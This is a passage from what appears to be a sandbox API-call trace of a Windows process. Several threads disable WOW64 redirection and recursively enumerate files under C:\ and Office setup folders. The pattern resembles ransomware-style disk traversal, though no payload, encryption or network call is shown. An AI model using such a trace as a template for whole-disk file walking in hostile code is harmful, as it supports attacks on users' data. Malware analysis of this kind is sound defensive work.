dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0081.133] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.133] GetProcessHeap () returned 0x470000 [0081.133] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.133] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0081.133] GetProcessHeap () returned 0x470000 [0081.133] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.134] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.134] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0081.134] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0081.134] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.134] GetProcessHeap () returned 0x470000 [0081.134] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.134] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0081.134] GetProcessHeap () returned 0x470000 [0081.134] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.135] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.135] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0081.136] ResetEvent (hEvent=0x144) returned 1 [0081.136] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0085.528] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0085.528] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0085.528] GetProcessHeap () returned 0x470000 [0085.528] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0085.529] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0085.529] GetProcessHeap () returned 0x470000 [0085.529] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0085.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0085.529] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.529] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0085.529] ResetEvent (hEvent=0x144) returned 1 [0085.529] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0085.555] ResetEvent (hEvent=0x144) returned 1 [0085.555] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0085.606] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0085.606] ResetEvent (hEvent=0x144) returned 1 [0085.606] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0085.623] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0085.623] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0085.624] GetProcessHeap () returned 0x470000 [0085.624] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0085.624] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0085.624] GetProcessHeap () returned 0x470000 [0085.624] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0085.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0085.624] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.624] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0085.624] ResetEvent (hEvent=0x144) returned 1 [0085.624] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0088.330] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0088.330] ResetEvent (hEvent=0x144) returned 1 [0088.330] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0088.472] ResetEvent (hEvent=0x144) returned 1 [0088.472] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0094.773] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0094.773] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0094.774] GetProcessHeap () returned 0x470000 [0094.774] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0094.774] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0094.774] GetProcessHeap () returned 0x470000 [0094.774] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0094.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0094.774] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.774] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0094.774] ResetEvent (hEvent=0x144) returned 1 [0094.774] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0094.813] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0094.813] ResetEvent (hEvent=0x144) returned 1 [0094.813] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) Thread: id = 19 os_tid = 0x490 [0073.692] GetProcessHeap () returned 0x470000 [0073.692] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x38) returned 0x48da48 [0073.692] GetProcessHeap () returned 0x470000 [0073.692] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x18) returned 0x48dcc8 [0073.692] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x15c [0073.692] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x160 [0073.692] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x164 [0073.692] GetProcessHeap () returned 0x470000 [0073.692] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4b4b58 [0073.693] GetProcessHeap () returned 0x470000 [0073.693] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4c4b60 [0073.693] GetProcessHeap () returned 0x470000 [0073.693] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48e718 [0073.694] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.694] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.694] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2f82c | out: OldValue=0x2d2f82c*=0x0) returned 1 [0073.694] GetProcessHeap () returned 0x470000 [0073.694] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e718 | out: hHeap=0x470000) returned 1 [0073.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2753ac, lpParameter=0x2d2f834, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168 [0073.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2753ac, lpParameter=0x2d2f834, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0073.718] GetProcessHeap () returned 0x470000 [0073.718] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x506b90 [0073.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x493040 [0073.719] GetProcessHeap () returned 0x470000 [0073.719] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x516b98 [0073.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x493080 [0073.719] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.719] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0073.720] GetProcessHeap () returned 0x470000 [0073.720] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0073.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.720] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.720] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0073.721] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0073.721] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.721] GetProcessHeap () returned 0x470000 [0073.721] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0073.721] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0073.721] FindClose (in: hFindFile=0x493080 | 